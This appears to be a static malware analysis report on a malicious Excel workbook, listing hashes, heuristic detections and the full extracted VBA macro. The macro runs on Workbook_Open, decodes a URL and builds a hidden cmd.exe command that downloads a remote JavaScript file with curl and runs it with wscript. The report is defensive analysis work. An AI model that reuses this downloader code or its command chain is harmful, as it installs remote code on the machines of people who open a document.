Malicious Office (OOXML) / .XLSX — malware analysis report

Static analysis result for SHA-256 51eaaabb6d5f4705…

MALICIOUS

Office (OOXML) / .XLSX

578.4 KB Created: 2026-06-17 00:56:45 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2026-06-19
MD5: 6f293af1b344d22ebfca5c5bc9d5f35b SHA-1: 75978fe22f80f057d5018145f8bcfab92f61a683 SHA-256: 51eaaabb6d5f4705f8a476268779a79eef239017e18a6eb747fd1a1570c0dafb
270 Risk Score

Heuristics 8

  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
                cmd = "cmd.exe /c cd %appdata% &@echo var oShell = WSH.createObject(""Wscript.Shell""); >> UOCknqTcke.js &@echo oShell.run(""cmd /c curl -o \""vCLHyGlkPs.js\"" \""" + decoded + "\"" &wscript.exe \""vCLHyGlkPs.js\"""", 0, false); >> UOCknqTcke.js & wscript.exe UOCknqTcke.js & del UOCknqTcke.js"
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
                cmd = "cmd.exe /c cd %appdata% &@echo var oShell = WSH.createObject(""Wscript.Shell""); >> UOCknqTcke.js &@echo oShell.run(""cmd /c curl -o \""vCLHyGlkPs.js\"" \""" + decoded + "\"" &wscript.exe \""vCLHyGlkPs.js\"""", 0, false); >> UOCknqTcke.js & wscript.exe UOCknqTcke.js & del UOCknqTcke.js"
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
                cmd = "cmd.exe /c cd %appdata% &@echo var oShell = WSH.createObject(""Wscript.Shell""); >> UOCknqTcke.js &@echo oShell.run(""cmd /c curl -o \""vCLHyGlkPs.js\"" \""" + decoded + "\"" &wscript.exe \""vCLHyGlkPs.js\"""", 0, false); >> UOCknqTcke.js & wscript.exe UOCknqTcke.js & del UOCknqTcke.js"
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
    Matched line in script
                cmd = "cmd.exe /c cd %appdata% &@echo var oShell = WSH.createObject(""Wscript.Shell""); >> UOCknqTcke.js &@echo oShell.run(""cmd /c curl -o \""vCLHyGlkPs.js\"" \""" + decoded + "\"" &wscript.exe \""vCLHyGlkPs.js\"""", 0, false); >> UOCknqTcke.js & wscript.exe UOCknqTcke.js & del UOCknqTcke.js"
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
            Sub Workbook_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://canta-cn.com/output_bb22ium4.js In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2417 bytes
SHA-256: 9fb2b0612f77abf072cb4b0646153c894c24078ddb5d6b65da84cb6d160f12ba
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

        Function sCjoSqDXUi(str)
            Dim i, result, hex
            result = ""
    
            i = 1
            Do While i <= Len(str)
                If Mid(str, i, 1) = "%" Then
                    hex = Mid(str, i + 1, 2)
                    result = result & Chr(CLng("&H" & hex))
                    i = i + 3
                ElseIf Mid(str, i, 1) = "+" Then
                    result = result & " "
                    i = i + 1
                Else
                    result = result & Mid(str, i, 1)
                    i = i + 1
                End If
            Loop

            sCjoSqDXUi = result
        End Function

        Sub Workbook_Open()
            decoded = sCjoSqDXUi("https%3A%2F%2Fcanta-cn.com%2Foutput_bb22ium4.js")

            cmd = "cmd.exe /c cd %appdata% &@echo var oShell = WSH.createObject(""Wscript.Shell""); >> UOCknqTcke.js &@echo oShell.run(""cmd /c curl -o \""vCLHyGlkPs.js\"" \""" + decoded + "\"" &wscript.exe \""vCLHyGlkPs.js\"""", 0, false); >> UOCknqTcke.js & wscript.exe UOCknqTcke.js & del UOCknqTcke.js"

            Set objShell = CreateObject("WScript.Shell")
            objShell.Run cmd, 0, False
        End Sub

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 25088 bytes
SHA-256: 6e5dbc28f5c7870044621a66b0c6e9a2341e49f3f0a26dda87f0ab7240b122b4

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